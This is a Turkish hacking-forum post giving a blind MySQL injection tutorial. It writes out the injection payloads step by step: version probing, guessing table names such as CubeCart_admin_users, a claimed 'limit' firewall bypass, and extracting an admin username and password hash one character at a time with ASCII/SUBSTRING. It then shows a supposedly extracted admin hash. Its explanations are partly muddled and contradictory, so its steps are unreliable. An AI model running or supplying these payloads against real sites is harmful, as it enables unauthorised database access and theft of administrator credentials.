Blind Mysql Injection

Discussion in 'Hack Dökümanları - Hack Articles' started by risk-master, Nov 9, 2018.

  1. risk-master

    risk-master Üst Tabaka

    Mesajlar:
    61
    Likes Received:
    63
    [​IMG]

    Versiyon sürümünü sorgulayalım.

    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım and substring (@@version, 1,1) = 4- –

    Yazdık sayfa true (doğru) yansıdı. Yani sayfa hatasız ve düzenli bir şekilde karşımıza döndü ve

    Versiyon sürümü: 2.1…1 gibi rakamlar ekrana yansıdı.

    O zaman versiyon sürümü 5... ile başlamadığı için sitenin versiyon sürümü: MySQL 4 olduğunu anlıyoruz

    Rakam 5 ile başlasaydı yani MYSQL Versiyonu 5 olsaydı çok iyi olurdu. Çünkü MySQL 5’te information_schema vardır ve tablo adlarını tahmin etmeden kolaylıkla çekebilirdik. 5’ten küçük sayı başladığı için manuel (el) ile tek tek deneyeceğiz. Yani Deneme/Yanılma Yöntemini kullanacağız. Bu da zaman kaybı ve biraz da tahminlerinizin tutması gerek.

    Peki diyelim ki: Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım and substring (@@version, 1,1) = 4- –

    Diyelim ki 4 yerine 5 yazsaydık ne olurdu?

    Versiyon 5 olmadığı için 404.php hatası verecekti.

    Örneğin: Site yöneticisi table (tablo)’nun adını riskmaster koydu diyelim.

    Peki biz şimdi biz bunu nereden tahmin edeceğiz?

    Tahmin etmemiz oldukça zor. Neyse devam edelim.

    Şimdi select (seçme) komutunu kabul edip etmediğine bakalım.

    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım and (select 1)=1– –

    Sayfa yine true (doğru) yani hatasız ve düzenli bir şekilde karşımıza döndü.

    Peki o zaman sorun yok devam edelim.

    Not: Buradaki komutu kullanmamızın sebebi; Blind SQL olup olmadığını öğrenmek içindir.

    sub select tablo_ismi

    Bruteforce (tahmin) yani genel de olabilecek tablo isimlerini deneyelim.

    Örneğin; "admin" yazalım.

    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım and (select 1 from admin)=1– –

    Eğer "admin" adında tablo yoksa hata verecektir. Eğer ki var ise sayfa normal olarak yüklenecektir.

    Diyelim ki sayfa olduğu gibi tekrardan gelir ise bu "admin" adında bir tablo bulunduğuna işarettir.

    Şimdi mesela biz brute force (Kaba Kuvvet Saldırısı) yani (Deneme/Yanılma Yöntemi) ile tabloyu "admin" olarak tahmin ederek bulduk.

    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım and (select 1 from CubeCart_admin_users)=1– –

    Yaptığımızda CubeCart_admin_users isimli bir sütun olduğundan dolayı problemsiz olarak sayfa true (doğru) olarak dönecektir.

    Diyelim ki hata verdi.

    Peki o zaman ne yapacağız?

    Biz bunu Güvenlik Duvarını (Firewall)’i bypass yöntemini kullanarak aşabiliriz. ”limit” komutunu kullanarak aşalım.

    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım and (select 1 from CubeCart_admin_users limit 0,1)=1– –

    Bu şekilde yazdık hata verdi.

    Şimdi ise bir de - limit 1,1)=1– - komutuyla deneyelim.

    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım and (select substring(concat(1,username),1,1) from CubeCart_admin_users limit 1,1)=1– –

    Yazdık sayfa düzeldi.

    Şimdi CubeCart_admin_users tablosuna ait sütunları (kolon)ları test edelim;

    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım and (select substring(concat(1,username),1,1) from CubeCart_admin_users limit 1,1)=1– –

    Yazdık sayfa true (doğru) olarak döndü. Diğer column (kolon)’u da "password" olarak buldum.

    Peki o zaman devam edelim.

    “username” ve “password” u birleştirip 1.harf 2.harf 3.harf… diye giderek verileri çekmeye başlayalım.

    Verileri birleştirme ve harf1’den başlama;


    Burada ASCII işlevini kullanacağız ve parametreye ASCII değerlerini vereceğiz.

    Peki burada hangi ASCII fonksiyonunu kullanacağız?

    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım and ASCII(SUBSTRING((select username from CubeCart_admin_users limit 0,1),1,1))>1– –

    Komutumuz bu burada tablo ve column (kolon) bilgilerini yazacağız.

    Bu >1 kısmı ne diye soracak olursanız?

    ASCII karakterleridir, harflerin sayı karşılığıdır.

    Burada ASCII tablosu için bağlantı: Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım

    Örneğin;
    a = 97
    ve benzeri
    A = 65
    bu tablodan görebilirsiniz

    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım and ASCII(SUBSTRING((select username from CubeCart_admin_users limit 0,1),1,1))=112– –

    Yazdık hata vermedi, bizim asıl amacımız hata verdirmektir.

    Şimdi bir sonraki değeri deneyelim.

    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım and ASCII(SUBSTRING((select username from CubeCart_admin_users limit 0,1),2,1))=111– –

    Hata vermedi devam edelim.

    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım and ASCII(SUBSTRING((select username from CubeCart_admin_users limit 0,1),10,1))>96– –

    Yine hata yok.

    Linkleri görebilmek için login-giriş yapman gerekiyor veya konuya like atman lazım and ASCII(SUBSTRING((select password from CubeCart_admin_users limit 0,1),21,1))>52– –

    Yazdık sayfa hata verdi ve karşımızda kullanıcı adı ve hash’ı

    Kullanıcı adı: admin
    Şifre: 9f66bf57850fbae64d515ffcb8ca6166
     
    Ewo-Turk likes this.
  2. Ewo-Turk

    Ewo-Turk ~EWO

    Mesajlar:
    770
    Likes Received:
    815
    eline sağlık
     
Loading...

Bu sayfayı Paylaş